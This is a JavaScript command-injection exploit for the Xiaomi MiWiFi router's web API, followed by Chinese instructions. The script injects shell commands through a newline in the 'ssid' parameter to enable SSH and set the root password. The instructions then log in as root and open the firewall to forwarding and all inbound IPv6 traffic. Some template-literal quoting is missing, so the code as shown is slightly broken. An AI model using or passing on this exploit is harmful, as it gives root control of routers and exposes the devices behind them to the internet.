function getSTOK() {
let match = location.href.match(/;stok=(.*?)//);
if (!match) {
return null;
}
return match[1];
}

function execute(stok, command) {
command = encodeURIComponent(command);
let path = /cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A;
console.log(path);
return fetch(new Request(location.origin + path));
}

function enableSSH() {
stok = getSTOK();
if (!stok) {
console.error('stok not found in URL');
return;
}
console.log(stok = "${stok}");

password = prompt('Input new SSH password');
if (!password) {
    console.error('You must input password');
    return;
}

execute(stok, 

nvram set ssh_en=1 nvram commit sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear /etc/init.d/dropbear start
)
.then((response) => response.text())
.then((text) => console.log(text));
console.log('New SSH password: ' + password);
execute(stok, echo -e "${password}\\n${password}" | passwd root)
.then((response) => response.text())
.then((text) => console.log(text));
}

enableSSH();

使用Putty 或 Xshell 终端连接路由器，MIWIFI默认网关地址为 192.168.31.1，用户名为 root，密码为上一步设定的密码。

使用 Vim 修改防火墙配置文件：

vim /etc/config/firewall

将文件中defaults 闭包下 disable_ipv6 的值改为 0，zone 闭包下 forward 的值改为 ACCEPT

在原有的Rule 中添加一个闭包，允许IPv6外网访问路由器下游设备

config rule
option name 'Allow-IPv6'
option target 'ACCEPT'
option family 'ipv6'
list proto 'all'
option src ''
option dest ''

终端执行命令，重启路由器防火墙：

/etc/init.d/firewall restart